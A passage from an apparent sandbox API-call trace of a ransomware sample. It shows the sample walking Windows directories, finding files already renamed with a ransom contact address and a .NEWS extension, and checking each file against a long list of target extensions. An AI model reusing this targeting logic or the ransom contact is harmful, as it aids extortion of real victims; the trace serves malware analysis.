lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4845d8 [0157.148] FindNextFileW (in: hFindFile=0x4845d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.148] FindNextFileW (in: hFindFile=0x4845d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x37c28909, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37c28909, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37c4e97b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.148] FindNextFileW (in: hFindFile=0x4845d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x37c4e97b, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37c4e97b, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37c74c3b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x122e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.148] FindNextFileW (in: hFindFile=0x4845d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x37b8feaa, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37b8feaa, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37b8feaa, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.148] FindNextFileW (in: hFindFile=0x4845d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x37b8feaa, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37b8feaa, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37b8feaa, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.148] FindClose (in: hFindFile=0x4845d8 | out: hFindFile=0x4845d8) returned 1 [0157.149] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.149] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x37df2ab7, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37df2ab7, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1 [0157.149] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fd0988 [0157.149] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x37df2ab7, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37df2ab7, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4844d8 [0157.182] FindNextFileW (in: hFindFile=0x4844d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x37df2ab7, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37df2ab7, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.182] FindNextFileW (in: hFindFile=0x4844d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x37dcc316, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37dcc316, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37dcc316, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.182] lstrlenW (lpString="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS") returned 52 [0157.182] lstrlenW (lpString=".1cd") returned 4 [0157.182] lstrcmpiW (lpString1=".1cd", lpString2="NEWS") returned -1 [0157.182] lstrlenW (lpString=".3ds") returned 4 [0157.182] lstrcmpiW (lpString1=".3ds", lpString2="NEWS") returned -1 [0157.182] lstrlenW (lpString=".3fr") returned 4 [0157.182] lstrcmpiW (lpString1=".3fr", lpString2="NEWS") returned -1 [0157.182] lstrlenW (lpString=".3g2") returned 4 [0157.182] lstrcmpiW (lpString1=".3g2", lpString2="NEWS") returned -1 [0157.182] lstrlenW (lpString=".3gp") returned 4 [0157.182] lstrcmpiW (lpString1=".3gp", lpString2="NEWS") returned -1 [0157.182] lstrlenW (lpString=".7z") returned 3 [0157.182] lstrcmpiW (lpString1=".7z", lpString2="EWS") returned -1 [0157.182] lstrlenW (lpString=".accda") returned 6 [0157.182] lstrcmpiW (lpString1=".accda", lpString2="].NEWS") returned -1 [0157.182] lstrlenW (lpString=".accdb") returned 6 [0157.182] lstrcmpiW (lpString1=".accdb", lpString2="].NEWS") returned -1 [0157.182] lstrlenW (lpString=".accdc") returned 6 [0157.183] lstrcmpiW (lpString1=".accdc", lpString2="].NEWS") returned -1 [0157.183] lstrlenW (lpString=".accde") returned 6 [0157.183] lstrcmpiW (lpString1=".accde", lpString2="].NEWS") returned -1 [0157.183] lstrlenW (lpString=".accdt") returned 6 [0157.183] lstrcmpiW (lpString1=".accdt", lpString2="].NEWS") returned -1 [0157.183] lstrlenW (lpString=".accdw") returned 6 [0157.183] lstrcmpiW (lpString1=".accdw", lpString2="].NEWS") returned -1 [0157.183] lstrlenW (lpString=".adb") returned 4 [0157.183] lstrcmpiW (lpString1=".adb", lpString2="NEWS") returned -1 [0157.183] lstrlenW (lpString=".adp") returned 4 [0157.183] lstrcmpiW (lpString1=".adp", lpString2="NEWS") returned -1 [0157.183] lstrlenW (lpString=".ai") returned 3 [0157.183] lstrcmpiW (lpString1=".ai", lpString2="EWS") returned -1 [0157.183] lstrlenW (lpString=".ai3") returned 4 [0157.183] lstrcmpiW (lpString1=".ai3", lpString2="NEWS") returned -1 [0157.183] lstrlenW (lpString=".ai4") returned 4 [0157.183] lstrcmpiW (lpString1=".ai4", lpString2="NEWS") returned -1 [0157.183] lstrlenW (lpString=".ai5") returned 4 [0157.183] lstrcmpiW (lpString1=".ai5", lpString2="NEWS") returned -1 [0157.183] lstrlenW (lpString=".ai6") returned 4 [0157.183] lstrcmpiW (lpString1=".ai6", lpString2="NEWS") returned -1 [0157.183] lstrlenW (lpString=".ai7") returned 4 [0157.183] lstrcmpiW (lpString1=".ai7", lpString2="NEWS") returned -1 [0157.183] lstrlenW (lpString=".ai8") returned 4 [0157.183] lstrcmpiW (lpString1=".ai8", lpString2="NEWS") returned -1 [0157.183] lstrlenW (lpString=".anim") returned 5 [0157.183] lstrcmpiW (lpString1=".anim", lpString2=".NEWS") returned -1 [0157.183] lstrlenW (lpString=".arw") returned 4 [0157.183] lstrcmpiW (lpString1=".arw", lpString2="NEWS") returned -1 [0157.183] lstrlenW (lpString=".as") returned 3 [0157.183] lstrcmpiW (lpString1=".as", lpString2="EWS") returned -1 [0157.183] lstrlenW (lpString=".asa") returned 4 [0157.183] lstrcmpiW (lpString1=".asa", lpString2="NEWS") returned -1 [0157.183] lstrlenW (lpString=".asc") returned 4 [0157.183] lstrcmpiW (lpString1=".asc", lpString2="NEWS") returned -1 [0157.183] lstrlenW (lpString=".ascx") returned 5 [0157.183] lstrcmpiW (lpString1=".ascx", lpString2=".NEWS") returned -1 [0157.183] lstrlenW (lpString=".asm") returned 4 [0157.184] lstrcmpiW (lpString1=".asm", lpString2="NEWS") returned -1 [0157.184] lstrlenW (lpString=".asmx") returned 5 [0157.184] lstrcmpiW (lpString1=".asmx", lpString2=".NEWS") returned -1 [0157.184] lstrlenW (lpString=".asp") returned 4 [0157.184] lstrcmpiW (lpString1=".asp", lpString2="NEWS") returned -1 [0157.184] lstrlenW (lpString=".aspx") returned 5 [0157.184] lstrcmpiW (lpString1=".aspx", lpString2=".NEWS") returned -1 [0157.184] lstrlenW (lpString=".asr") returned 4 [0157.184] lstrcmpiW (lpString1=".asr", lpString2="NEWS") returned -1 [0157.184] lstrlenW (lpString=".asx") returned 4 [0157.184] lstrcmpiW (lpString1=".asx", lpString2="NEWS") returned -1 [0157.184] lstrlenW (lpString=".avi") returned 4 [0157.184] lstrcmpiW (lpString1=".avi", lpString2="NEWS") returned -1 [0157.184] lstrlenW (lpString=".avs") returned 4 [0157.184] lstrcmpiW (lpString1=".avs", lpString2="NEWS") returned -1 [0157.184] lstrlenW (lpString=".backup") returned 7 [0157.184] lstrcmpiW (lpString1=".backup", lpString2="m].NEWS") returned -1 [0157.184] lstrlenW (lpString=".bak") returned 4 [0157.184] lstrcmpiW (lpString1=".bak", lpString2="NEWS") returned -1 [0157.184] lstrlenW (lpString=".bay") returned 4 [0157.184] lstrcmpiW (lpString1=".bay", lpString2="NEWS") returned -1 [0157.184] lstrlenW (lpString=".bd") returned 3 [0157.184] lstrcmpiW (lpString1=".bd", lpString2="EWS") returned -1 [0157.184] lstrlenW (lpString=".bin") returned 4 [0157.184] lstrcmpiW (lpString1=".bin", lpString2="NEWS") returned -1 [0157.184] lstrlenW (lpString=".bmp") returned 4 [0157.184] lstrcmpiW (lpString1=".bmp", lpString2="NEWS") returned -1 [0157.184] lstrlenW (lpString=".bz2") returned 4 [0157.184] lstrcmpiW (lpString1=".bz2", lpString2="NEWS") returned -1 [0157.184] lstrlenW (lpString=".c") returned 2 [0157.184] lstrcmpiW (lpString1=".c", lpString2="WS") returned -1 [0157.184] lstrlenW (lpString=".cdr") returned 4 [0157.184] lstrcmpiW (lpString1=".cdr", lpString2="NEWS") returned -1 [0157.184] lstrlenW (lpString=".cer") returned 4 [0157.184] lstrcmpiW (lpString1=".cer", lpString2="NEWS") returned -1 [0157.184] lstrlenW (lpString=".cf") returned 3 [0157.184] lstrcmpiW (lpString1=".cf", lpString2="EWS") returned -1 [0157.185] lstrlenW (lpString=".cfc") returned 4 [0157.185] lstrcmpiW (lpString1=".cfc", lpString2="NEWS") returned -1 [0157.185] lstrlenW (lpString=".cfm") returned 4 [0157.185] lstrcmpiW (lpString1=".cfm", lpString2="NEWS") returned -1 [0157.185] lstrlenW (lpString=".cfml") returned 5 [0157.185] lstrcmpiW (lpString1=".cfml", lpString2=".NEWS") returned -1 [0157.185] lstrlenW (lpString=".cfu") returned 4 [0157.185] lstrcmpiW (lpString1=".cfu", lpString2="NEWS") returned -1 [0157.185] lstrlenW (lpString=".chm") returned 4 [0157.185] lstrcmpiW (lpString1=".chm", lpString2="NEWS") returned -1 [0157.185] lstrlenW (lpString=".cin") returned 4 [0157.185] lstrcmpiW (lpString1=".cin", lpString2="NEWS") returned -1 [0157.185] lstrlenW (lpString=".class") returned 6 [0157.185] lstrcmpiW (lpString1=".class", lpString2="].NEWS") returned -1 [0157.185] lstrlenW (lpString=".clx") returned 4 [0157.185] lstrcmpiW (lpString1=".clx", lpString2="NEWS") returned -1 [0157.185] lstrlenW (lpString=".config") returned 7 [0157.185] lstrcmpiW (lpString1=".config", lpString2="m].NEWS") returned -1 [0157.185] lstrlenW (lpString=".cpp") returned 4 [0157.185] lstrcmpiW (lpString1=".cpp", lpString2="NEWS") returned -1 [0157.185] lstrlenW (lpString=".cr2") returned 4 [0157.185] lstrcmpiW (lpString1=".cr2", lpString2="NEWS") returned -1 [0157.185] lstrlenW (lpString=".crt") returned 4 [0157.185] lstrcmpiW (lpString1=".crt", lpString2="NEWS") returned -1 [0157.185] lstrlenW (lpString=".crw") returned 4 [0157.185] lstrcmpiW (lpString1=".crw", lpString2="NEWS") returned -1 [0157.185] lstrlenW (lpString=".cs") returned 3 [0157.185] lstrcmpiW (lpString1=".cs", lpString2="EWS") returned -1 [0157.185] lstrlenW (lpString=".css") returned 4 [0157.185] lstrcmpiW (lpString1=".css", lpString2="NEWS") returned -1 [0157.185] lstrlenW (lpString=".csv") returned 4 [0157.185] lstrcmpiW (lpString1=".csv", lpString2="NEWS") returned -1 [0157.185] lstrlenW (lpString=".cub") returned 4 [0157.185] lstrcmpiW (lpString1=".cub", lpString2="NEWS") returned -1 [0157.185] lstrlenW (lpString=".dae") returned 4 [0157.185] lstrcmpiW (lpString1=".dae", lpString2="NEWS") returned -1 [0157.185] lstrlenW (lpString=".dat") returned 4 [0157.186] lstrcmpiW (lpString1=".dat", lpString2="NEWS") returned -1 [0157.186] lstrlenW (lpString=".db") returned 3 [0157.186] lstrcmpiW (lpString1=".db", lpString2="EWS") returned -1 [0157.186] lstrlenW (lpString=".dbf") returned 4 [0157.186] lstrcmpiW (lpString1=".dbf", lpString2="NEWS") returned -1 [0157.186] lstrlenW (lpString=".dbx") returned 4 [0157.186] lstrcmpiW (lpString1=".dbx", lpString2="NEWS") returned -1 [0157.186] lstrlenW (lpString=".dc3") returned 4 [0157.186] lstrcmpiW (lpString1=".dc3", lpString2="NEWS") returned -1 [0157.186] lstrlenW (lpString=".dcm") returned 4 [0157.186] lstrcmpiW (lpString1=".dcm", lpString2="NEWS") returned -1 [0157.186] lstrlenW (lpString=".dcr") returned 4 [0157.186] lstrcmpiW (lpString1=".dcr", lpString2="NEWS") returned -1 [0157.186] lstrlenW (lpString=".der") returned 4 [0157.186] lstrcmpiW (lpString1=".der", lpString2="NEWS") returned -1 [0157.186] lstrlenW (lpString=".dib") returned 4 [0157.186] lstrcmpiW (lpString1=".dib", lpString2="NEWS") returned -1 [0157.186] lstrlenW (lpString=".dic") returned 4 [0157.186] lstrcmpiW (lpString1=".dic", lpString2="NEWS") returned -1 [0157.186] lstrlenW (lpString=".dif") returned 4 [0157.186] lstrcmpiW (lpString1=".dif", lpString2="NEWS") returned -1 [0157.186] lstrlenW (lpString=".divx") returned 5 [0157.186] lstrcmpiW (lpString1=".divx", lpString2=".NEWS") returned -1 [0157.186] lstrlenW (lpString=".djvu") returned 5 [0157.186] lstrcmpiW (lpString1=".djvu", lpString2=".NEWS") returned -1 [0157.186] lstrlenW (lpString=".dng") returned 4 [0157.186] lstrcmpiW (lpString1=".dng", lpString2="NEWS") returned -1 [0157.186] lstrlenW (lpString=".doc") returned 4 [0157.186] lstrcmpiW (lpString1=".doc", lpString2="NEWS") returned -1 [0157.186] lstrlenW (lpString=".docm") returned 5 [0157.186] lstrcmpiW (lpString1=".docm", lpString2=".NEWS") returned -1 [0157.186] lstrlenW (lpString=".docx") returned 5 [0157.186] lstrcmpiW (lpString1=".docx", lpString2=".NEWS") returned -1 [0157.186] lstrlenW (lpString=".dot") returned 4 [0157.186] lstrcmpiW (lpString1=".dot", lpString2="NEWS") returned -1 [0157.186] lstrlenW (lpString=".dotm") returned 5 [0157.186] lstrcmpiW (lpString1=".dotm", lpString2=".NEWS") returned -1 [0157.186] lstrlenW (lpString=".dotx") returned 5 [0157.187] lstrcmpiW (lpString1=".dotx", lpString2=".NEWS") returned -1 [0157.187] lstrlenW (lpString=".dpx") returned 4 [0157.187] lstrcmpiW (lpString1=".dpx", lpString2="NEWS") returned -1 [0157.187] lstrlenW (lpString=".dqy") returned 4 [0157.187] lstrcmpiW (lpString1=".dqy", lpString2="NEWS") returned -1 [0157.187] lstrlenW (lpString=".dsn") returned 4 [0157.187] lstrcmpiW (lpString1=".dsn", lpString2="NEWS") returned -1 [0157.187] lstrlenW (lpString=".dt") returned 3 [0157.187] lstrcmpiW (lpString1=".dt", lpString2="EWS") returned -1 [0157.187] lstrlenW (lpString=".dtd") returned 4 [0157.187] lstrcmpiW (lpString1=".dtd", lpString2="NEWS") returned -1 [0157.187] lstrlenW (lpString=".dwg") returned 4 [0157.187] lstrcmpiW (lpString1=".dwg", lpString2="NEWS") returned -1 [0157.187] lstrlenW (lpString=".dwt") returned 4 [0157.187] lstrcmpiW (lpString1=".dwt", lpString2="NEWS") returned -1 [0157.187] lstrlenW (lpString=".dx") returned 3 [0157.187] lstrcmpiW (lpString1=".dx", lpString2="EWS") returned -1 [0157.187] lstrlenW (lpString=".dxf") returned 4 [0157.187] lstrcmpiW (lpString1=".dxf", lpString2="NEWS") returned -1 [0157.187] lstrlenW (lpString=".edml") returned 5 [0157.187] lstrcmpiW (lpString1=".edml", lpString2=".NEWS") returned -1 [0157.187] lstrlenW (lpString=".efd") returned 4 [0157.187] lstrcmpiW (lpString1=".efd", lpString2="NEWS") returned -1 [0157.187] lstrlenW (lpString=".elf") returned 4 [0157.187] lstrcmpiW (lpString1=".elf", lpString2="NEWS") returned -1 [0157.187] lstrlenW (lpString=".emf") returned 4 [0157.187] lstrcmpiW (lpString1=".emf", lpString2="NEWS") returned -1 [0157.187] lstrlenW (lpString=".emz") returned 4 [0157.187] lstrcmpiW (lpString1=".emz", lpString2="NEWS") returned -1 [0157.187] lstrlenW (lpString=".epf") returned 4 [0157.187] lstrcmpiW (lpString1=".epf", lpString2="NEWS") returned -1 [0157.187] lstrlenW (lpString=".eps") returned 4 [0157.187] lstrcmpiW (lpString1=".eps", lpString2="NEWS") returned -1 [0157.187] lstrlenW (lpString=".epsf") returned 5 [0157.187] lstrcmpiW (lpString1=".epsf", lpString2=".NEWS") returned -1 [0157.187] lstrlenW (lpString=".epsp") returned 5 [0157.187] lstrcmpiW (lpString1=".epsp", lpString2=".NEWS") returned -1 [0157.188] lstrlenW (lpString=".erf") returned 4 [0157.188] lstrcmpiW (lpString1=".erf", lpString2="NEWS") returned -1 [0157.188] lstrlenW (lpString=".exr") returned 4 [0157.188] lstrcmpiW (lpString1=".exr", lpString2="NEWS") returned -1 [0157.188] lstrlenW (lpString=".f4v") returned 4 [0157.188] lstrcmpiW (lpString1=".f4v", lpString2="NEWS") returned -1 [0157.188] lstrlenW (lpString=".fido") returned 5 [0157.188] lstrcmpiW (lpString1=".fido", lpString2=".NEWS") returned -1 [0157.188] lstrlenW (lpString=".flm") returned 4 [0157.188] lstrcmpiW (lpString1=".flm", lpString2="NEWS") returned -1 [0157.188] lstrlenW (lpString=".flv") returned 4 [0157.188] lstrcmpiW (lpString1=".flv", lpString2="NEWS") returned -1 [0157.188] lstrlenW (lpString=".frm") returned 4 [0157.188] lstrcmpiW (lpString1=".frm", lpString2="NEWS") returned -1 [0157.188] lstrlenW (lpString=".fxg") returned 4 [0157.188] lstrcmpiW (lpString1=".fxg", lpString2="NEWS") returned -1 [0157.188] lstrlenW (lpString=".geo") returned 4 [0157.188] lstrcmpiW (lpString1=".geo", lpString2="NEWS") returned -1 [0157.188] lstrlenW (lpString=".gif") returned 4 [0157.188] lstrcmpiW (lpString1=".gif", lpString2="NEWS") returned -1 [0157.188] lstrlenW (lpString=".grs") returned 4 [0157.188] lstrcmpiW (lpString1=".grs", lpString2="NEWS") returned -1 [0157.188] lstrlenW (lpString=".gz") returned 3 [0157.188] lstrcmpiW (lpString1=".gz", lpString2="EWS") returned -1 [0157.188] lstrlenW (lpString=".h") returned 2 [0157.188] lstrcmpiW (lpString1=".h", lpString2="WS") returned -1 [0157.188] lstrlenW (lpString=".hdr") returned 4 [0157.188] lstrcmpiW (lpString1=".hdr", lpString2="NEWS") returned -1 [0157.188] lstrlenW (lpString=".hpp") returned 4 [0157.188] lstrcmpiW (lpString1=".hpp", lpString2="NEWS") returned -1 [0157.188] lstrlenW (lpString=".hta") returned 4 [0157.188] lstrcmpiW (lpString1=".hta", lpString2="NEWS") returned -1 [0157.188] lstrlenW (lpString=".htc") returned 4 [0157.188] lstrcmpiW (lpString1=".htc", lpString2="NEWS") returned -1 [0157.188] lstrlenW (lpString=".htm") returned 4 [0157.188] lstrcmpiW (lpString1=".htm", lpString2="NEWS") returned -1 [0157.188] lstrlenW (lpString=".html") returned 5 [0157.188] lstrcmpiW (lpString1=".html", lpString2=".NEWS") returned -1 [0157.189] lstrlenW (lpString=".icb") returned 4 [0157.189] lstrcmpiW (lpString1=".icb", lpString2="NEWS") returned -1 [0157.189] lstrlenW (lpString=".ics") returned 4 [0157.189] lstrcmpiW (lpString1=".ics", lpString2="NEWS") returned -1 [0157.189] lstrlenW (lpString=".iff") returned 4 [0157.189] lstrcmpiW (lpString1=".iff", lpString2="NEWS") returned -1 [0157.189] lstrlenW (lpString=".inc") returned 4 [0157.189] lstrcmpiW (lpString1=".inc", lpString2="NEWS") returned -1 [0157.189] lstrlenW (lpString=".indd") returned 5 [0157.189] lstrcmpiW (lpString1=".indd", lpString2=".NEWS") returned -1 [0157.189] lstrlenW (lpString=".ini") returned 4 [0157.189] lstrcmpiW (lpString1=".ini", lpString2="NEWS") returned -1 [0157.189] lstrlenW (lpString=".iqy") returned 4 [0157.189] lstrcmpiW (lpString1=".iqy", lpString2="NEWS") returned -1 [0157.189] lstrlenW (lpString=".j2c") returned 4 [0157.189] lstrcmpiW (lpString1=".j2c", lpString2="NEWS") returned -1 [0157.189] lstrlenW (lpString=".j2k") returned 4 [0157.189] lstrcmpiW (lpString1=".j2k", lpString2="NEWS") returned -1 [0157.189] lstrlenW (lpString=".java") returned 5 [0157.189] lstrcmpiW (lpString1=".java", lpString2=".NEWS") returned -1 [0157.189] lstrlenW (lpString=".jp2") returned 4 [0157.189] lstrcmpiW (lpString1=".jp2", lpString2="NEWS") returned -1 [0157.189] lstrlenW (lpString=".jpc") returned 4 [0157.189] lstrcmpiW (lpString1=".jpc", lpString2="NEWS") returned -1 [0157.189] lstrlenW (lpString=".jpe") returned 4 [0157.189] lstrcmpiW (lpString1=".jpe", lpString2="NEWS") returned -1 [0157.189] lstrlenW (lpString=".jpeg") returned 5 [0157.189] lstrcmpiW (lpString1=".jpeg", lpString2=".NEWS") returned -1 [0157.189] lstrlenW (lpString=".jpf") returned 4 [0157.189] lstrcmpiW (lpString1=".jpf", lpString2="NEWS") returned -1 [0157.189] lstrlenW (lpString=".jpg") returned 4 [0157.189] lstrcmpiW (lpString1=".jpg", lpString2="NEWS") returned -1 [0157.189] lstrlenW (lpString=".jpx") returned 4 [0157.189] lstrcmpiW (lpString1=".jpx", lpString2="NEWS") returned -1 [0157.189] lstrlenW (lpString=".js") returned 3 [0157.189] lstrcmpiW (lpString1=".js", lpString2="EWS") returned -1 [0157.189] lstrlenW (lpString=".jsf") returned 4 [0157.189] lstrcmpiW (lpString1=".jsf", lpString2="NEWS") returned -1 [0157.190] lstrlenW (lpString=".json") returned 5 [0157.190] lstrcmpiW (lpString1=".json", lpString2=".NEWS") returned -1 [0157.190] lstrlenW (lpString=".jsp") returned 4 [0157.190] lstrcmpiW (lpString1=".jsp", lpString2="NEWS") returned -1 [0157.190] lstrlenW (lpString=".kdc") returned 4 [0157.190] lstrcmpiW (lpString1=".kdc", lpString2="NEWS") returned -1 [0157.190] lstrlenW (lpString=".kmz") returned 4 [0157.190] lstrcmpiW (lpString1=".kmz", lpString2="NEWS") returned -1 [0157.190] lstrlenW (lpString=".kwm") returned 4 [0157.190] lstrcmpiW (lpString1=".kwm", lpString2="NEWS") returned -1 [0157.190] lstrlenW (lpString=".lasso") returned 6 [0157.190] lstrcmpiW (lpString1=".lasso", lpString2="].NEWS") returned -1 [0157.190] lstrlenW (lpString=".lbi") returned 4 [0157.190] lstrcmpiW (lpString1=".lbi", lpString2="NEWS") returned -1 [0157.190] lstrlenW (lpString=".lgf") returned 4 [0157.190] lstrcmpiW (lpString1=".lgf", lpString2="NEWS") returned -1 [0157.190] lstrlenW (lpString=".lgp") returned 4 [0157.190] lstrcmpiW (lpString1=".lgp", lpString2="NEWS") returned -1 [0157.190] lstrlenW (lpString=".log") returned 4 [0157.190] lstrcmpiW (lpString1=".log", lpString2="NEWS") returned -1 [0157.190] lstrlenW (lpString=".m1v") returned 4 [0157.190] lstrcmpiW (lpString1=".m1v", lpString2="NEWS") returned -1 [0157.190] lstrlenW (lpString=".m4a") returned 4 [0157.190] lstrcmpiW (lpString1=".m4a", lpString2="NEWS") returned -1 [0157.190] lstrlenW (lpString=".m4v") returned 4 [0157.190] lstrcmpiW (lpString1=".m4v", lpString2="NEWS") returned -1 [0157.190] lstrlenW (lpString=".max") returned 4 [0157.190] lstrcmpiW (lpString1=".max", lpString2="NEWS") returned -1 [0157.190] lstrlenW (lpString=".md") returned 3 [0157.190] lstrcmpiW (lpString1=".md", lpString2="EWS") returned -1 [0157.190] lstrlenW (lpString=".mda") returned 4 [0157.190] lstrcmpiW (lpString1=".mda", lpString2="NEWS") returned -1 [0157.190] lstrlenW (lpString=".mdb") returned 4 [0157.190] lstrcmpiW (lpString1=".mdb", lpString2="NEWS") returned -1 [0157.190] lstrlenW (lpString=".mde") returned 4 [0157.190] lstrcmpiW (lpString1=".mde", lpString2="NEWS") returned -1 [0157.190] lstrlenW (lpString=".mdf") returned 4 [0157.191] lstrcmpiW (lpString1=".mdf", lpString2="NEWS") returned -1 [0157.191] lstrlenW (lpString=".mdw") returned 4 [0157.191] lstrcmpiW (lpString1=".mdw", lpString2="NEWS") returned -1 [0157.191] lstrlenW (lpString=".mef") returned 4 [0157.191] lstrcmpiW (lpString1=".mef", lpString2="NEWS") returned -1 [0157.191] lstrlenW (lpString=".mft") returned 4 [0157.191] lstrcmpiW (lpString1=".mft", lpString2="NEWS") returned -1 [0157.191] lstrlenW (lpString=".mfw") returned 4 [0157.191] lstrcmpiW (lpString1=".mfw", lpString2="NEWS") returned -1 [0157.191] lstrlenW (lpString=".mht") returned 4 [0157.191] lstrcmpiW (lpString1=".mht", lpString2="NEWS") returned -1 [0157.191] lstrlenW (lpString=".mhtml") returned 6 [0157.191] lstrcmpiW (lpString1=".mhtml", lpString2="].NEWS") returned -1 [0157.191] lstrlenW (lpString=".mka") returned 4 [0157.191] lstrcmpiW (lpString1=".mka", lpString2="NEWS") returned -1 [0157.191] lstrlenW (lpString=".mkidx") returned 6 [0157.191] lstrcmpiW (lpString1=".mkidx", lpString2="].NEWS") returned -1 [0157.191] lstrlenW (lpString=".mkv") returned 4 [0157.191] lstrcmpiW (lpString1=".mkv", lpString2="NEWS") returned -1 [0157.191] lstrlenW (lpString=".mos") returned 4 [0157.191] lstrcmpiW (lpString1=".mos", lpString2="NEWS") returned -1 [0157.191] lstrlenW (lpString=".mov") returned 4 [0157.191] lstrcmpiW (lpString1=".mov", lpString2="NEWS") returned -1 [0157.191] lstrlenW (lpString=".mp3") returned 4 [0157.191] lstrcmpiW (lpString1=".mp3", lpString2="NEWS") returned -1 [0157.191] lstrlenW (lpString=".mp4") returned 4 [0157.191] lstrcmpiW (lpString1=".mp4", lpString2="NEWS") returned -1 [0157.191] lstrlenW (lpString=".mpeg") returned 5 [0157.191] lstrcmpiW (lpString1=".mpeg", lpString2=".NEWS") returned -1 [0157.191] lstrlenW (lpString=".mpg") returned 4 [0157.191] lstrcmpiW (lpString1=".mpg", 